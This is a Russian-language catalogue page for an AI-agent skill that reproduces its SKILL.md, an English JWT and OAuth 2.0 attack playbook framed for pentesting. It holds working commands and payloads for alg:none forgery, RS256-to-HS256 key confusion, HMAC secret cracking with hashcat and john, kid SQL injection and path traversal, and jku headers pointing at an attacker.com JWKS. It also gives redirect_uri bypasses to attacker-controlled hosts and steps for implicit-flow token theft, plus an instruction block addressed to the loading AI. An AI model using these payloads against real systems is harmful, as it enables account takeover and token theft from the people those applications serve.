К основному содержанию
скилл CX Codex

jwt-oauth-token-attacks — скилл для проверки JWT и OAuth

Скилл для Claude и других ИИ-редакторов: разбор атак на токены JWT и потоки OAuth 2.0. Пригодится, когда нужно проверить, как приложение доверяет токенам и ключам.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill jwt-oauth-token-attacks -a claude-code
Открыть на GitHub

Что делает jwt-oauth-token-attacks

Скилл собирает атаки на токены и потоки авторизации. Внутри — разбор структуры JWT: заголовок, полезная нагрузка, подпись. Показано, как декодировать части токена в терминале и какие поля подделывают для повышения прав: role, isAdmin, userId, email, sub, permissions, tier.

Дальше идут конкретные сценарии. Алгоритм none — сервер не проверяет подпись. Путаница RS256 и HS256 — публичный ключ подставляют как секрет для HMAC. Перебор слабого секрета через hashcat, john и jwt_tool. Инъекция в параметр kid: SQL-запрос и обход пути к файлу, когда ключом становится /dev/null или имя хоста. Подстановка jku и x5u со своим JWKS на стороннем домене.

По OAuth разобраны пропущенный state и CSRF, обход redirect_uri через открытый редирект, частичное совпадение пути и localhost, кража токена в implicit flow. Есть раздел про PKCE и утечку токена через Referer и логи. В начале файла — маршрутизация к смежным скиллам: oauth-oidc-misconfiguration, cors-cross-origin-misconfiguration, saml-sso-assertion-attacks.

Материал рассчитан на проверку своих приложений и на пентест. Каждый сценарий — с командами и примерами токенов. Если вы отвечаете за вход в веб-приложение, это повод пройтись по своему коду: проверка алгоритма, хранение секрета, валидация kid и redirect_uri.

Какие задачи решает

  • Нужно проверить, доверяет ли сервер токену с алгоритмом none или подменённым kid.
  • Надо найти слабый секрет HMAC в JWT или обойти проверку redirect_uri в OAuth.
  • Требуется разобрать кражи токена в implicit flow и утечку через Referer и логи.

Примеры запросов агенту

  • Проверь этот JWT на атаку с алгоритмом none и на путаницу RS256 и HS256.
  • Найди слабый секрет в этом токене и покажи команды для перебора.
  • Разбери поток OAuth на пропущенный state и обход redirect_uri.

Как установить jwt-oauth-token-attacks

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill jwt-oauth-token-attacks -a claude-code

2Вручную: положить файлы

~/.claude/skills/jwt-oauth-token-attacks/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/jwt-oauth-token-attacks/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о jwt-oauth-token-attacks

Как установить jwt-oauth-token-attacks в Claude?

Через npx skills add yaklang/hack-skills --skill jwt-oauth-token-attacks -a claude-code. Файл скилла ляжет в ~/.claude/skills/jwt-oauth-token-attacks/SKILL.md.

Что это за скилл?

Набор сценариев атак на токены JWT и потоки OAuth 2.0. Разбирает проверку подписи, работу с ключами, подделку полей и слабые места привязки аккаунта.

На каких платформах он работает?

Claude, Codex, Cursor, GitHub Copilot, Gemini CLI и OpenCode. Для каждой платформы своя команда установки.

Исходный текст

SKILL.md · MIT
---
name: jwt-oauth-token-attacks
description: >-
  JWT and OAuth token attack playbook. Use when validating token trust, signing algorithms, key handling, claim abuse, bearer flows, and OAuth account-binding weaknesses.
---

# SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.

## 0. RELATED ROUTING

Use this file for token-centric attacks and flow abuse. Also load:

- [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md) for redirect URI, state, nonce, PKCE, and account-binding validation
- [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) when browser-readable APIs or token leakage may exist cross-origin
- [saml sso assertion attacks](../saml-sso-assertion-attacks/SKILL.md) when the target uses enterprise SSO outside OAuth/OIDC

---

## 1. JWT ANATOMY

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE
```

**Decode in terminal**:
```bash
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}
```

**Common claim targets** (modify to escalate):
```json
{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "[email protected]",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}
```

---

## 2. ATTACK 1 — ALGORITHM NONE (alg:none)

Server doesn't validate signature when algorithm is "none"/"None"/"NONE":

```bash
# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header

# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD
```

**Tool (jwt_tool)**:
```bash
python3 jwt_tool.py JWT_TOKEN -X a
# → automatically generates alg:none variants
```

---

## 3. ATTACK 2 — RS256 TO HS256 KEY CONFUSION

**When server uses RS256** (asymmetric — RSA private key signs, public key verifies):
- Server's public key is often discoverable (JWKS endpoint, `/certs`, source code)
- Attack: tell server "this is HS256" → server verifies HS256 HMAC using **the public key as secret**

```bash
# Step 1: Obtain public key (PEM format)
# From: /api/.well-known/jwks.json → convert to PEM
# From: /certs endpoint
# From: OpenSSL extraction from HTTPS cert

# Step 2: Use jwt_tool to sign with HS256 using public key as secret:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem

# Step 3: Manually:
# Modify header: {"alg":"HS256","typ":"JWT"}
# Sign entire header.payload with HMAC-SHA256 using PEM public key bytes
```

---

## 4. ATTACK 3 — JWT SECRET BRUTE FORCE

HMAC-based JWTs (HS256/HS384/HS512) with weak secret:

```bash
# hashcat (fast):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt

# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt
```

**Common weak secrets to test manually**:
```
secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY
```

---

## 5. ATTACK 4 — kid (Key ID) INJECTION

The `kid` header parameter specifies which key to use for verification. No sanitization = injection:

### kid SQL Injection
```json
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}
```
If backend queries SQL: `SELECT key FROM keys WHERE kid = 'INPUT'`  
Result: HMAC key = `'attacker_controlled_key'` → forge any payload signed with this value.

### kid Path Traversal (file read)
```json
{"alg":"HS256","kid":"../../../../dev/null"}
```
Server reads `/dev/null` as key → empty string → sign token with empty HMAC.

```json
{"alg":"HS256","kid":"../../../../etc/hostname"}
```
Server reads hostname as key → forge tokens signed with hostname string.

---

## 6. ATTACK 5 — jku / x5u Header Injection

`jku` points to JSON Web Key Set URL. If not whitelisted:
```json
{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}
```

**Setup**:
```bash
# Generate RSA key pair:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Create JWKS:
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"

# Host malicious JWKS at attacker.com/malicious-jwks.json
# Sign JWT with attacker's private key
# Server fetches attacker's JWKS → verifies with attacker's public key → accepts
```

**jwt_tool automation**:
```bash
python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json
```

---

## 7. OAUTH 2.0 — STATE PARAMETER MISSING (CSRF)

State parameter prevents CSRF in OAuth. If missing:

```
Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
   https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...

2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER
```

---

## 8. OAUTH — REDIRECT_URI BYPASS

Authorization codes are sent to `redirect_uri`. If validation is weak:

### Open Redirect in redirect_uri
```
Original: redirect_uri=https://target.com/callback
Attack:   redirect_uri=https://target.com/callback/../../../attacker.com
          redirect_uri=https://attacker.com.target.com/callback
          redirect_uri=https://[email protected]/callback
```

### Partial Path Match
```
Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
        https://target.com/callbackXSS (prefix match only)
```

### Localhost / Development Redirect
```
redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob  (mobile apps)
```

---

## 9. OAUTH — IMPLICIT FLOW TOKEN THEFT

Implicit flow: token sent in URL fragment `#access_token=...`

**Fragment leakage scenarios**:
- Redirect to attacker page: fragment accessible via `document.referrer` or via `<script>window.location.href</script>` in target page
- Open redirect: `redirect_uri=https://target.com/open-redirect?url=https://attacker.com` → token in fragment lands at attacker's page

---

## 10. OAUTH — SCOPE ESCALATION

Request broader scope than authorized in authorization code:
```
Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?
```

---

## 11. TOKEN LEAKAGE VECTORS

### Referer Header
Token in URL → page loads external resource → Referer leaks token:
```
https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logs
```

### Server Logs
Access tokens sent in query parameters are stored in:
```
/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs
```

---

## 12. JWT TESTING CHECKLIST

```
□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header
```

---

## 13. OAUTH TESTING CHECKLIST

```
□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expected
```

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
testing-jwt-token-security mahipal Скилл для проверки JWT на криптографические слабости, подмену алгоритма и обход авторизации. Нужен на пентесте API и SSO. CX Codex +1 536установок jwt-security Mindrally Скилл задаёт агенту правила создания, проверки и хранения JWT: белый список алгоритмов, обязательные claim-ы, короткие сроки жизни токенов. CX Codex +1 1 600установок jwt-validate jsonwebtoken Скилл проверяет подпись, срок действия и клеймы JWT, разбирая токен по шагам. Пригодится, когда нужно понять, почему токен не проходит. CX Codex +1 620установок oauth mcollina Настраивает авторизацию OAuth 2.0 и 2.1 в приложениях на Fastify с защитой через PKCE и ротацией токенов. Пригодится для проверки JWT, настройки сессий и устранения ошибок redirect URI. CX Codex +1 1 300установок auth0-authentication Mindrally Скилл задаёт агенту правила работы с Auth0: потоки авторизации, Actions, проверка токенов и защита редиректов. CX Codex +1 700установок api-authentication secondsky Скилл для ИИ-агента, который помогает писать аутентификацию в API: JWT, OAuth 2.0, API-ключи, сессии и защитные заголовки. CX Codex +1 533установок

Из того же набора93

api-auth-and-jwt-abuse Плейбук для проверки bearer-токенов, API-ключей и доверия к claim'ам. Пригодится на пентесте API, где аутентификация держится на JWT или заголовках запроса. CX Codex +1 3 800установок 401-403-bypass-techniques Плейбук по обходу отказов доступа: что пробовать, когда админка или API отвечает 401 и 403. CX Codex +1 3 800установок api-recon-and-docs Скилл помогает исследовать структуру REST, mobile и GraphQL API перед тестированием. Он ищет скрытые эндпоинты, схемы и старые версии интерфейсов. CX Codex +1 3 800установок idor-broken-object-authorization Плейбук для проверки IDOR, BOLA и BFLA: где искать идентификаторы объектов, как ставить A-B тесты и докручивать находку до эскалации привилегий. CX Codex +1 3 800установок authbypass-authentication-flaws Скилл содержит сценарии тестирования механизмов аутентификации на уязвимости. Он помогает искать ошибки входа, сброса пароля, обхода 2FA и защиты от перебора. CX Codex +1 3 800установок ssrf-server-side-request-forgery Скилл помогает проверять SSRF в функциях, которые запрашивают URL, разрешают имена хостов или загружают удалённые данные. CX Codex +1 3 900установок traffic-analysis-pcap Плейбук по анализу сетевых дампов: фильтры Wireshark, разбор протоколов, поиск скрытых каналов и расшифровка TLS. CX Codex +1 3 700установок oauth-oidc-misconfiguration Чек-лист для проверки настроек OAuth 2.0 и OpenID Connect. Помогает находить уязвимости в redirect_uri, валидации state, реализации PKCE и привязке аккаунтов. CX Codex +1 3 700установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой